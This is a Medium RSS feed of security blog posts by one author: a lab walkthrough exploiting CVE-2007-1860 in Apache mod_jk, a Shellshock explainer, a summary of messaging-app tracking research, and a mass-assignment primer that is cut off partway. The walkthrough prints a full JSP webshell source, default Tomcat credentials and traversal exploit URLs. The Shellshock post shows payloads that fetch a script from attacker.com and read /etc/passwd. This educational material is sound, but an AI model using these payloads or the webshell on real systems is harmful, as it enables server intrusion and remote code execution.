<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Anaselmendili on Medium]]></title>
        <description><![CDATA[Stories by Anaselmendili on Medium]]></description>
        <link>https://medium.com/@anaselmendili13?source=rss-c8e2890a1e7e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*KUcuU43dorrHb09O</url>
            <title>Stories by Anaselmendili on Medium</title>
            <link>https://medium.com/@anaselmendili13?source=rss-c8e2890a1e7e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 09:20:42 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@anaselmendili13/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CVE-2007–1860: Exploiting Apache mod_jk’s Double-Decoding Vulnerability — A Beginner-Friendly Deep…]]></title>
            <link>https://medium.com/@anaselmendili13/cve-2007-1860-exploiting-apache-mod-jks-double-decoding-vulnerability-a-beginner-friendly-deep-df540511aa4e?source=rss-c8e2890a1e7e------2</link>
            <guid isPermaLink="false">https://medium.com/p/df540511aa4e</guid>
            <category><![CDATA[data-security]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Anaselmendili]]></dc:creator>
            <pubDate>Fri, 17 Apr 2026 15:13:28 GMT</pubDate>
            <atom:updated>2026-04-17T15:13:28.303Z</atom:updated>
            <content:encoded><![CDATA[<h3>CVE-2007–1860: Exploiting Apache mod_jk’s Double-Decoding Vulnerability — A Beginner-Friendly Deep Dive</h3><h3>Introduction</h3><p>In web security, some vulnerabilities are powerful not because they are complicated, but because they hide in plain sight — in the gap between two systems that each do part of the same job. <strong>CVE-2007–1860</strong> is exactly that kind of vulnerability.</p><p><a href="https://pentesterlab.com/exercises/cve-2007-1860">1</a> This vulnerability exists in **mod_jk**, and by exploiting it, it’s possible to access the administration interface of a Tomcat server (Tomcat’s Manager). Using this access, an attacker can use default credentials to log in as an administrator and ultimately gain code execution on the server.</p><p>But before we can understand the vulnerability itself, we need to understand the environment it lives in. Let’s build that foundation from the ground up.</p><h3>Part 1: Understanding the Architecture — Apache, Tomcat, and the Bridge Between Them</h3><h4>1. What is Apache HTTP Server?</h4><p><strong>Apache HTTP Server</strong> (often just called “Apache”) is one of the most widely used web servers in the world. Think of it as the front door of a website. When you type a URL into your browser, Apache is often the first thing that receives your request. It decides what to do with it — either handle it directly (for simple files like HTML pages and images) or pass it along to another system.</p><h4>2. What is Apache Tomcat?</h4><p><strong>Apache Tomcat</strong> is a different kind of server. While Apache handles simple, static content, Tomcat is designed to run <strong>Java-based web applications</strong> — specifically, it handles <strong>Java Servlets</strong> and <strong>JSP (JavaServer Pages)</strong>, which are dynamic pages that can run code and interact with databases.</p><h4>3. Why Run Both Together?</h4><p>On Unix/Linux systems, Tomcat cannot be run on port 80 unless it’s started as root, which is not ideal since Tomcat does not drop privileges and will be running as root — as opposed to Apache, which drops privileges during startup.</p><p><strong>What does “drop privileges” mean?</strong> When a program “drops privileges,” it starts with high-level system permissions (needed for binding to low port numbers like 80), then voluntarily reduces its own permissions once running. This is a security measure — if the server gets hacked, a low-privilege process can do less damage. Tomcat does NOT do this, which is why running it as root on port 80 is dangerous.</p><p>So, the common solution is: run <strong>Apache on port 80</strong> (safe), and run <strong>Tomcat on a higher port like 8080 or 8009</strong> (also safe, no root needed), then have Apache <strong>forward</strong> certain requests to Tomcat behind the scenes.</p><p>This configuration also helps with:</p><ul><li><strong>Serving static content</strong> (images, HTML files) directly from Apache, reducing Tomcat’s workload.</li><li><strong>Load balancing</strong> — distributing traffic between multiple Tomcat servers.</li></ul><h3>Part 2: How Apache Talks to Tomcat — The “Connector”</h3><p>There are two common ways Apache forwards requests to Tomcat:</p><ol><li><strong>http_proxy</strong> — Apache forwards the request to Tomcat using the standard HTTP protocol (like how your browser communicates with any web server).</li><li><strong>AJP13</strong> — Apache forwards requests using a special binary protocol called AJP.</li></ol><h4>1. What is mod_jk?</h4><ul><li>*mod_jk** is an Apache module used to connect the Tomcat servlet container with web servers such as Apache and IIS using the Apache JServ Protocol (AJP).</li><li><strong>What is an “Apache module”?</strong> Apache is built on a plugin-style system. A “module” is an add-on that extends Apache’s functionality. mod_jk is one such add-on — you load it into Apache and it gives Apache the ability to speak AJP with Tomcat.</li><li>**mod_jk** is a Tomcat connector that can be used to communicate between Tomcat and the Apache HTTP Server</li></ul><h4>2. What is AJP / AJP13?</h4><p>The **AJP13 protocol** is packet-oriented. A binary format was presumably chosen over the more readable plain text for reasons of performance. The web server communicates with the servlet container over TCP connections.</p><p><strong>“Binary format” vs “plain text”:</strong> HTTP is a plain text protocol — you can literally read it like English (e.g., GET /page.html HTTP/1.1). AJP13, on the other hand, sends raw binary data — numbers and bytes — which is faster for computers to process but unreadable to humans.</p><p>Although there exist 3 versions of the AJP protocol — ajp12, ajp13, ajp14 — most installations only use ajp13. The older ajp12 does not use persistent connections and is obsolete, while the newer version ajp14 is still experimental</p><h4>3. What is JkMount?</h4><ul><li>*`JkMount`** is mod_jk’s directive used to assign specific URLs to Tomcat. In general, the structure of a JkMount directive is: `JkMount &lt;URL prefix&gt; &lt;Worker name&gt;`.</li><li><strong>What is a “directive”?</strong> In Apache configuration files, a directive is simply an instruction or setting. It tells Apache what to do in a specific situation.</li><li><strong>What is a “Worker”?</strong> In mod_jk terminology, a “worker” is a definition of a Tomcat server instance — its hostname, port, and the protocol it uses. Think of it as a named destination that mod_jk can forward requests to.</li></ul><p>For example:</p><pre>JkMount /jsp-examples/* worker1</pre><p>This tells Apache: <em>“Any request that starts with </em><em>/jsp-examples/ should NOT be handled by me (Apache) — send it to the Tomcat instance named </em><em>worker1 instead.&quot;</em></p><p>For example, `JkMount /*.jsp ajp13` and `JkMount /servlet/* ajp13` will send all requests ending in `.jsp` or beginning with `/servlet` to the “ajp13” worker</p><h3>Part 3: Understanding the Vulnerability — URL Encoding &amp; Double Decoding</h3><h4>1. What is URL Encoding?</h4><p>When data is sent over the internet in a URL, certain characters have special meanings (like / for path separators, or . for file extensions). To safely include these characters in a URL without confusing the server, they are <strong>percent-encoded</strong>.</p><p>For example, the character . (a single dot) has the URL encoding %2e. The % sign followed by two hexadecimal digits tells the server: <em>&quot;Decode this into the original character.</em></p><p><strong>What is “hexadecimal”?</strong> It’s a numbering system that uses 16 digits (0–9 and A–F). Computers often represent characters using hexadecimal codes. For example, 2e in hexadecimal corresponds to the . character in the ASCII character table</p><h4>2. What is Double URL Encoding?</h4><p>Double encoding means encoding a value <em>that has already been encoded once</em>. Here’s how it works:</p><ol><li>Start with a . (dot character)</li><li>Encode it once → %2e</li><li>Now encode the % sign in %2e → %25</li><li>The 2e part doesn&#39;t need re-encoding</li><li>Final result: %252e</li></ol><h4>3. How Does This Become a Vulnerability?</h4><p>The issue comes from the fact that both the web server (Apache using mod_jk) and the application server (Tomcat) will perform a **decoding of the path** provided by the client. <a href="https://vulners.com/redhat/RHSA-2007:0380">9</a> Versions of mod_jk before 1.2.23 decoded request URLs by default inside Apache httpd and forwarded the encoded URL to Tomcat, which itself did a second decoding. If Tomcat was used behind mod_jk and configured to only proxy some contexts, an attacker could construct a carefully crafted HTTP request to work around the context restriction and potentially access non-proxied content.</p><p>Here is the two-stage decoding process visualized:</p><pre>Attacker sends:   /examples/jsp/%252e%252e/manager/html<br>                                  ↓<br>Step 1 — Apache/mod_jk decodes:  %25 → %<br>                  /examples/jsp/%2e%2e/manager/html<br>                                  ↓<br>Step 2 — Tomcat decodes:          %2e → .<br>                  /examples/jsp/../../manager/html<br>                                  ↓<br>Path resolves to: /manager/html   ✅ ACCESS GRANTED</pre><p><strong>What does </strong><strong>../../ mean?</strong> In file systems and URLs, .. means &quot;go up one directory level.&quot; So /examples/jsp/../../manager/html means: start at /examples/jsp/, go up one level to /examples/, go up again to / (root), then go into /manager/html. This is called a <strong>directory traversal</strong> attack.</p><p><strong>What is a Directory Traversal?</strong> It’s an attack where an attacker manipulates a file path to access files or directories that should be off-limits. <a href="https://www.cvedetails.com/cve/CVE-2007-1860/">7</a>The product uses external input to construct a pathname intended to identify a file or directory underneath a restricted parent directory, but does not properly neutralize special elements within the pathname that can cause it to resolve to a location outside of the restricted directory.</p><h4>4. Identifying the Request Handler via 404 Pages</h4><p>It’s important to understand which component handles a URL in order to exploit CVE-2007–1860. This can be easily identified through 404 error pages.</p><ul><li><a href="https://pentesterlab.com/exercises/cve-2007-1860">1</a> If you see an error page coming from Apache (for example if you try to access `http://vulnerable/test404`), you know the request will be handled by Apache.</li><li><a href="https://pentesterlab.com/exercises/cve-2007-1860">1</a> However, if you see a Tomcat-style 404 page (for example at `http://vulnerable/examples/jsp/test404`), you know the response comes from Tomcat through Apache.</li></ul><p>This distinction is <strong>critical</strong> — it tells you which URL patterns Apache forwards to Tomcat, so you can craft the right exploit path</p><h3>Part 4: The Goal — Accessing the Tomcat Manager</h3><h4>1. What is the Tomcat Manager?</h4><p>The **Tomcat Manager** is used to deploy web applications within Tomcat. It is available at the URI `/manager/html` and is, most of the time, protected by a password — and should not be installed on production servers.</p><p><strong>What is “deploying a web application”?</strong> Deploying means installing and activating a web application on the server so it becomes accessible to users. The Tomcat Manager is like a control panel that lets administrators upload and activate web apps with just a few clicks.</p><h4>2. Crafting the Exploit Path</h4><p>To exploit CVE-2007–1860, you need a URL path that satisfies three conditions simultaneously:</p><ol><li>✅ It starts with a path that Apache is configured to forward to Tomcat (via JkMount)</li><li>✅ It contains %252e%252e (double-encoded ..)</li><li>✅ After both rounds of decoding, it resolves to /manager/html</li></ol><p>A working exploit URL looks like this:</p><pre>http://vulnerable/examples/jsp/%252e%252e/%252e%252e/manager/html</pre><p>Apache sees /examples/jsp/... which matches a JkMount rule, so it forwards it to Tomcat. Tomcat then finishes the decoding and ends up serving /manager/html — a page it never should have exposed through Apache.</p><h3>Part 5: Logging In with Default Credentials</h3><p>Once the Tomcat Manager login prompt appears, the attacker tries <strong>default credentials</strong> — pre-set username and password combinations that come installed with the software and are often never changed by administrators.</p><p><strong>Why do default credentials exist?</strong> Software vendors ship their products with preset usernames and passwords so administrators can log in for the first time. The expectation is that admins will change these immediately. Many don’t</p><p>Common Tomcat default credentials include:</p><ul><li>tomcat / tomcat</li><li>admin / admin</li><li>manager / manager</li><li>admin / <em>(blank)</em></li></ul><p>If any of these work, the attacker now has full administrative access to the Tomcat Manager.</p><h3>Part 6: Deploying a Webshell for Remote Code Execution</h3><h4>1. What is a Webshell?</h4><p>A <strong>webshell</strong> is a malicious script uploaded to a web server that gives the attacker the ability to run system commands through their web browser. It’s essentially a remote control for the server, disguised as a web page.</p><h4>2. What is a WAR File?</h4><p><strong>WAR (Web Application Archive):</strong> A WAR file is a packaged Java web application — it bundles together all the files (HTML, JSP, Java classes, configs) needed to deploy a web app on Tomcat. It’s the standard format Tomcat uses to install new applications</p><h4>Step 1 — Write the JSP Webshell</h4><p><strong>JSP (JavaServer Pages):</strong> JSP is a technology that lets you embed Java code inside HTML pages. When a browser requests a JSP page, Tomcat executes the Java code and returns the result as HTML.</p><p>The webshell below creates a text box on a web page. When you type a system command and click “Run,” it executes that command on the server and displays the output:</p><pre>&lt;FORM METHOD=GET ACTION=&#39;index.jsp&#39;&gt;<br>&lt;INPUT name=&#39;cmd&#39; type=text&gt;<br>&lt;INPUT type=submit value=&#39;Run&#39;&gt;<br>&lt;/FORM&gt;<br>&lt;%@ page import=&quot;java.io.*&quot; %&gt;<br>&lt;%<br>  String cmd = request.getParameter(&quot;cmd&quot;);<br>  String output = &quot;&quot;;<br>  if(cmd != null) {<br>    String s = null;<br>    try {<br>      Process p = Runtime.getRuntime().exec(cmd,null,null);<br>      BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));<br>      while((s = sI.readLine()) != null){<br>        output += s+&quot;&lt;/br&gt;&quot;;<br>      }<br>    } catch(IOException e){ e.printStackTrace(); }<br>  }<br>%&gt;<br>&lt;pre&gt;&lt;%=output %&gt;&lt;/pre&gt;</pre><p><strong>Runtime.getRuntime().exec(cmd)</strong> — This Java code tells the operating system to run whatever command is stored in cmd. It&#39;s as if someone typed that command directly into the server&#39;s terminal. This is what makes it dangerous</p><h4>Step 2 — Package it as a WAR File</h4><pre>$ mkdir webshell<br>$ cp index.jsp webshell/<br>$ cd webshell<br>$ jar -cvf ../webshell.war *</pre><p><strong>jar</strong> is a command-line tool that comes with Java. It packages files into a .jar or .war archive, similar to how zip works. Here we&#39;re creating webshell.war from all files in the current directory</p><h4>Step 3 — Deploy Using the Double-Encoding Trick</h4><p>Simply clicking “Deploy” in the Tomcat Manager will fail — because the browser submits the form to a normal URL that doesn’t use the double-encoding trick, resulting in a 404.</p><p>The solution is to modify the HTML form’s action attribute to include the double-encoded path:</p><pre>&lt;form action=&quot;http://vulnerable/examples/jsp/%252e%252e/%252e%252e/manager/html/upload;jsessionid=XXXX?org.apache.catalina.filters.CSRF_NONCE=YYYY&quot;<br>      method=&quot;post&quot;<br>      enctype=&quot;multipart/form-data&quot;&gt;<br>  &lt;input type=&quot;file&quot; name=&quot;deployWar&quot; size=&quot;40&quot;&gt;<br>  &lt;input type=&quot;submit&quot; value=&quot;Deploy&quot;&gt;<br>&lt;/form&gt;</pre><p><strong>jsessionid and </strong><strong>CSRF_NONCE:</strong> These are security tokens. jsessionid identifies your current login session. CSRF_NONCE is a random value that prevents Cross-Site Request Forgery attacks — it proves your request came from a legitimate source. You copy these from the original Manager page&#39;s source code</p><p>You can modify the form by:</p><ul><li><strong>Saving the modified HTML</strong> locally and opening it in a browser.</li><li><strong>Using browser Developer Tools</strong> (press F12, right-click the form, choose &quot;Edit as HTML&quot;) to change the action attribute directly.</li><li><strong>Using a proxy tool</strong> like Burp Suite to intercept and modify the upload request in transit.</li></ul><h4>Step 4 — Execute Commands</h4><p>After deployment, trying to visit the webshell directly may return an Apache 404 — because Apache handles that URL path itself. Use the same double-encoding trick to route the request through Tomcat instead:</p><pre>http://vulnerable/examples/jsp/%252e%252e/%252e%252e/webshell/index.jsp?cmd=id</pre><p>The id command returns the current user the server process is running as. If you see a response like uid=0(root), the server is running as root — the highest privilege level possible.</p><h3>Conclusion</h3><p>CVE-2007–1860 is a perfect example of how two systems each doing the right thing individually can create a dangerous gap when combined. Apache decodes URLs for its own purposes; Tomcat decodes them for its own. Neither is wrong on its own — but together, without coordination, they open a door that should be firmly shut.</p><p><a href="https://pentesterlab.com/exercises/cve-2007-1860/videos">4</a> The issue arises from both Apache and Tomcat performing URL decoding, allowing attackers to bypass restrictions.</p><p>From a single cleverly crafted URL — to bypassing path restrictions — to guessing default credentials — to deploying a webshell — to full remote code execution: this vulnerability demonstrates why <strong>defense in depth</strong> matters. Every layer of security must be considered, from network architecture, to software version patching, to credential management.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df540511aa4e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2014–6271 — Shellshock Vulnerability Explained]]></title>
            <link>https://medium.com/@anaselmendili13/cve-2014-6271-shellshock-vulnerability-explained-ca784ba60b5e?source=rss-c8e2890a1e7e------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca784ba60b5e</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Anaselmendili]]></dc:creator>
            <pubDate>Sun, 08 Mar 2026 15:10:40 GMT</pubDate>
            <atom:updated>2026-03-08T15:10:40.290Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>CVE-2014–6271</strong>, better known as <strong>“Shellshock,”</strong> is one of the most notorious vulnerabilities ever discovered in the GNU Bash shell.</p><p>Bash is the default command-line shell used by most Linux distributions and by macOS systems. Because it is deeply integrated into many services and scripts, vulnerabilities in Bash can have a massive impact.</p><p>Shellshock is a <strong>Remote Code Execution (RCE)</strong> vulnerability that allows attackers to execute arbitrary commands on a vulnerable system.</p><p>In simple terms, an attacker can inject malicious commands into <strong>environment variables</strong>. When a vulnerable version of Bash processes these variables, it mistakenly executes the hidden commands with the privileges of the running service.</p><p>Because many services rely on Bash scripts — such as web servers, SSH services, and DHCP clients — the potential attack surface is enormous.</p><h3><strong>Understanding CGI (Common Gateway Interface)</strong></h3><p>Before diving deeper into the vulnerability, it’s important to understand <strong>CGI (Common Gateway Interface)</strong>.</p><p>CGI is a standard protocol that allows web servers to execute external programs or scripts in order to generate <strong>dynamic web content</strong>.</p><p>Think of CGI as the <strong>messenger between a web server and a backend program</strong>.</p><p>Before CGI became common, web servers mostly served <strong>static files</strong> like HTML pages or images. CGI allowed servers to generate pages dynamically using programs written in languages such as Python, Perl, or C.</p><p>Here’s a simplified breakdown of how CGI works.</p><h4>1. User Request :</h4><p>A user clicks a link or submits a form on a website.</p><p>Their browser sends an HTTP request to the web server. For example:</p><p>GET /cgi-bin/user-profile.pl?username=johndoe</p><h4>2. Server Processing :</h4><p>The web server receives the request and recognizes that the requested resource is a <strong>CGI script</strong>, usually located in a cgi-bin directory.</p><p>Instead of serving a file, the server executes the script and returns the script’s output to the user’s browser.</p><h4>3. Passing Data Through Environment Variables :</h4><p>This step is critical for understanding Shellshock.</p><p>Before executing the CGI script, the web server sets several <strong>environment variables</strong> that contain information about the HTTP request.</p><p>Some common CGI environment variables include:</p><ul><li>QUERY_STRING → The part of the URL after ?</li><li>REQUEST_METHOD → HTTP method such as GET or POST</li><li>CONTENT_LENGTH → Size of the request body</li><li>HTTP_USER_AGENT → Browser and OS information</li><li>HTTP_COOKIE → Cookies sent by the browser</li><li>REMOTE_ADDR → IP address of the client</li></ul><p>These values are <strong>directly derived from the user’s HTTP request</strong>.</p><p>This means an attacker can manipulate them.</p><p>For example, an attacker might send a request with a malicious header like:</p><p>User-Agent: () { :;}; /bin/bash -c ‘wget <a href="http://attacker.com/malicious_script.sh&#39;">http://attacker.com/malicious_script.sh&#39;</a></p><h4>4. Executing the Script :</h4><p>The web server launches the CGI script (for example user-profile.pl).</p><p>The script reads the environment variables to understand the request. For example, it may read QUERY_STRING to determine which user profile to display.</p><h4>5. Returning the Response :</h4><p>After processing the request (e.g., querying a database), the script outputs HTML.</p><p>The web server captures this output and sends it back to the user’s browser.</p><h3>The Shellshock Vulnerability :</h3><p>The core issue behind Shellshock lies in how Bash processes <strong>function definitions stored in environment variables</strong>.</p><p>Bash allows functions to be exported through environment variables using a format like:</p><pre>() { function_body; }</pre><p>However, vulnerable versions of Bash <strong>failed to stop parsing after the function definition ended</strong>.</p><p>As a result, any command placed after the function definition would also be executed.</p><p>Example payload:</p><pre>() { :; }; /bin/cat /etc/passwd</pre><p>When Bash parses this variable, it executes the command following the function definition.</p><p>If an attacker can inject this payload into an environment variable that Bash processes — such as through CGI headers — they can execute arbitrary commands on the system.</p><p>This is why CGI-based web servers running Bash scripts were particularly vulnerable.</p><h3>Impact and Risk :</h3><p>The impact of the Shellshock vulnerability is <strong>extremely severe</strong>.</p><p>A successful exploit can allow attackers to:</p><ul><li>Execute arbitrary commands</li><li>Access sensitive system files</li><li>Install malware</li><li>Pivot deeper into the network</li><li>Use the compromised server to launch additional attacks</li></ul><p>Because exploitation requires <strong>very little effort</strong>, Shellshock quickly became one of the most widely exploited vulnerabilities on the internet.</p><p>The vulnerability received a <strong>CVSS score of 10.0</strong> under CVSSv2 and <strong>9.8 under CVSSv3</strong>, placing it among the most critical vulnerabilities ever discovered.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca784ba60b5e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Your Phone Number: The Silent Spy on Your Life]]></title>
            <link>https://medium.com/@anaselmendili13/your-phone-number-the-silent-spy-on-your-life-e48245c9ca78?source=rss-c8e2890a1e7e------2</link>
            <guid isPermaLink="false">https://medium.com/p/e48245c9ca78</guid>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[cyber]]></category>
            <dc:creator><![CDATA[Anaselmendili]]></dc:creator>
            <pubDate>Wed, 25 Feb 2026 16:45:10 GMT</pubDate>
            <atom:updated>2026-02-25T16:48:01.185Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>The digital betrayal hiding inside WhatsApp and Signal.</strong></p><p>We often think of end-to-end encryption (E2EE) as an impenetrable shield for our private conversations. But what if the very mechanisms that make messaging convenient — like a read receipt or a reaction emoji — could be weaponized to track your every move, drain your phone’s battery, and fingerprint your devices, all without you ever knowing?</p><p>This isn’t science fiction. It’s real. And it affects over <strong>3 billion people</strong>.</p><h3>The Scale of the Problem</h3><p>WhatsApp alone serves over 3 billion users globally, handling billions of messages daily. These platforms aren’t just for casual chats — they’re used by high-profile government officials for sensitive conversations. The 2025 “Signalgate” incident and Austria’s “Beidlgate” affair prove that the people making decisions about our world rely on these same apps.</p><p>At DEF CON 33, security researchers <strong>Gabriel Gegenhuber and Maximilian Günther</strong> presented their research on <strong>“Careless Whisper,”</strong> revealing two significant vulnerabilities in the world’s most popular messaging apps: WhatsApp and Signal.</p><p>Their finding? <strong>Just by using a simple “❤️”, your life becomes an open book.</strong></p><h3>The Vulnerability: Silent Delivery Receipts</h3><p>The core issue lies with <strong>delivery receipts</strong> — those silent acknowledgments that confirm a message has reached its target. Unlike “read receipts,” which you can disable in settings, delivery receipts are fundamental to how E2EE protocols manage keys and forward secrecy. <strong>They cannot be turned off.</strong></p><p>The researchers discovered that by sending a <strong>reaction to a non-existent message</strong> (or using a self-reaction or message deletion packet), they could trigger these delivery receipts without the target ever receiving a notification. It’s a completely silent ping — a digital heartbeat the victim never feels.</p><p>And here’s the kicker: <strong>You don’t need to be friends with the victim.</strong> Just knowing their phone number is enough to start probing them on WhatsApp and Signal.</p><p>As the paper states: <em>“This design decision… can have a significant impact on the privacy as well as the security of users.”</em></p><h3>What a Silent Ping Reveals</h3><p>Once you can silently ping a device, the real surveillance begins. By analyzing the <strong>round-trip time (RTT)</strong> of these receipt packets, an attacker can infer incredibly detailed information about the victim’s state:</p><p><strong>Screen On/Off:</strong> The phone’s processor sleep state causes measurable delays. An attacker can tell when you’re actively using your phone and when it’s sitting idle on the table.</p><p><strong>App in Use:</strong> Is the messaging app itself in the foreground? RTTs drop dramatically (e.g., from ~1000ms to ~300ms on an iPhone), allowing precise tracking of when you’re actively chatting.</p><p><strong>Companion Device Tracking:</strong> In multi-device setups, <em>every</em> device (phone, desktop, web client) sends its own independent delivery receipt. The researchers demonstrated this by tracking a volunteer:</p><ul><li>Leaving home (desktop goes offline)</li><li>Walking to the office (phone switches from Wi-Fi to LTE)</li><li>Turning on their work laptop (a new device comes online and acknowledges all backlogged pings)</li></ul><p>They could even fingerprint the operating system based on the order of these receipts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*Qkbi1Vh32oFo3LmDuFFRdg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*aJzolgc4jLsIXghwOnYzOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*SXZO-GN__l1lxQXhuh0qCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*yA6WH7JICyuhtYMULv6YfQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0b3DLiLYdLdy_DtC2z9llA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3cdrjbOm-b2tXridcw7XBw.png" /></figure><h3>Beyond Tracking: Resource Exhaustion</h3><p>The probing itself consumes resources, but the researchers found a way to amplify this dramatically. WhatsApp allows message reactions to carry up to <strong>1 MB of payload data</strong>.</p><p><strong>Data Drain:</strong> By blasting a victim with 1MB reaction packets, an attacker could consume <strong>13.3 GB of data per hour</strong> — potentially incurring massive overage charges or simply clogging the victim’s connection.</p><p><strong>Battery Drain:</strong> Tests showed this bombardment could drain a phone’s battery <strong>14–18% per hour</strong>, even while the screen was off.</p><p><strong>Breaking Forward Secrecy:</strong> WhatsApp’s implementation of the Signal Protocol requires a stash of “prekeys” on the server for new sessions. By exhausting a victim’s data plan or keeping their device busy, an attacker can force their client to fail at refilling this key stash. This can prevent message delivery and potentially weaken encryption guarantees.</p><h3>Who is at Risk?</h3><p>Literally everyone with WhatsApp or Signal installed. With WhatsApp alone serving over 3 billion users, the potential for abuse is staggering:</p><p><strong>Stalkers and Abusers:</strong> To monitor a partner’s activity, screen time, and location with frightening precision.</p><p><strong>Corporate Espionage:</strong> To track the routines and devices of a competitor’s CEO.</p><p><strong>State-Level Actors:</strong> To monitor journalists, dissidents, or government officials.</p><h3>The Bottom Line</h3><p>End-to-end encryption promises privacy, but this research shows that promise is incomplete. Until messaging apps redesign how delivery receipts work, <strong>your phone number is all someone needs to turn your device into a silent spy.</strong></p><p>The convenience of reactions and read receipts comes at a cost — one that 3 billion users are unknowingly paying.</p><p>Share this. Talk about it. The first step to fixing a problem is knowing it exists.</p><p><em>What do you think — should WhatsApp and Signal disable reactions from unknown numbers? Drop your thoughts in the comments.</em></p><p><strong>For more information:</strong></p><ul><li><a href="https://arxiv.org/pdf/2411.11194">Research Paper (arXiv)</a></li><li><a href="https://www.youtube.com/watch?v=BgneDTH81EY">DEF CON 33 Talk</a></li><li><a href="https://www.youtube.com/watch?v=HHEQVXNCrW8&amp;t=27s">Explainer Video</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e48245c9ca78" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How a Hidden Form Field Became a Backdoor: Understanding Mass Assignment Vulnerabilities]]></title>
            <link>https://medium.com/@anaselmendili13/how-a-hidden-form-field-became-a-backdoor-understanding-mass-assignment-vulnerabilities-e62b45dd7c52?source=rss-c8e2890a1e7e------2</link>
            <guid isPermaLink="false">https://medium.com/p/e62b45dd7c52</guid>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[application-security]]></category>
            <dc:creator><![CDATA[Anaselmendili]]></dc:creator>
            <pubDate>Wed, 11 Feb 2026 14:35:54 GMT</pubDate>
            <atom:updated>2026-02-11T14:35:54.834Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>From the GitHub Rails compromise to your framework’s autobinding feature — why mapping HTTP requests directly to database models is a quiet but critical risk.</strong></p><p>If you are a developer, you are always looking for ways to write less code. We love abstraction. We love automation. We love when the framework “just does it for us.”</p><p>But sometimes, the features that make us fast are the same ones that make us vulnerable.</p><p>Enter <strong>Mass Assignment</strong>.</p><h3>Mass Assignment: The Basics</h3><p>To make it easier to save data submitted via an HTML form into a database or object, many web application frameworks have included libraries to automatically bind HTTP request parameters (typically sent via forms) to the fields of database models or members of an object.</p><p>Consider a standard registration form:<br>&lt;form action=”/register” method=”POST”&gt;<br> &lt;input type=”text” name=”username” value=””&gt;<br> &lt;input type=”password” name=”password” value=””&gt;<br> &lt;input type=”text” name=”email” value=””&gt;<br> &lt;button type=”submit”&gt;Register&lt;/button&gt;<br>&lt;/form&gt;</p><p>Traditionally, a developer would have to manually map username to the user object, then password, then email. It is tedious. So frameworks stepped in to help. Instead of mapping each field individually, you can simply say: <em>“Here is the incoming request. Here is my database model. Map the request directly to the model.”</em></p><p>Mass Assignment makes it possible to write significantly less code. Imagine an object with 50 fields — the time saved is substantial.</p><p>However, this convenience comes with a dangerous caveat.</p><h3>The Vulnerability: When a Hidden Field Becomes a Backdoor</h3><p>Mass assignment vulnerabilities occur when the database model that is being assigned contains <strong>security-relevant fields</strong>, and the application user can supply values in the POST request that are saved to those fields — even though they are not present in the HTML form.</p><p><strong>The classic example:</strong></p><p>Your User model contains a field isAdmin: Boolean.</p><p>You, the developer, did not put an &lt;input name=&quot;isAdmin&quot;&gt; in the registration form. You assume no one can set it.</p><p>An attacker, using a simple proxy tool or even the browser’s developer console, adds the POST body parameter isAdmin=true.</p><p>If your framework automatically binds <em>everything</em> in the HTTP request to the model, the application accepts the instruction and updates the database.</p><p>A field the attacker never saw in the form became a backdoor to privilege escalation.</p><h3>Mass Assignment in the Wild: The GitHub Rails Incident</h3><p>This is not hypothetical. In 2012, GitHub was compromised through a mass assignment vulnerability.</p><p>A user exploited a flaw in GitHub’s public key update form. The vulnerability allowed them to add their public key to an organization they did not belong to.</p><p>They added their key to the <strong>Ruby on Rails organization</strong>. To prove the exploit, they pushed a file to the Rails project repository.</p><p>GitHub fixed the vulnerability within hours and audited their codebase for similar issues. But the incident remains the clearest example of how autobinding can expose critical surfaces.</p><h3>Mass Assignment by Different Names</h3><p>If you are searching for documentation on how to fix this, it helps to know what your specific ecosystem calls it. This vulnerability transcends programming languages:</p><ul><li><strong>NodeJS &amp; Ruby on Rails:</strong> <em>Mass Assignment</em></li><li><strong>Java Spring MVC &amp; ASP NET 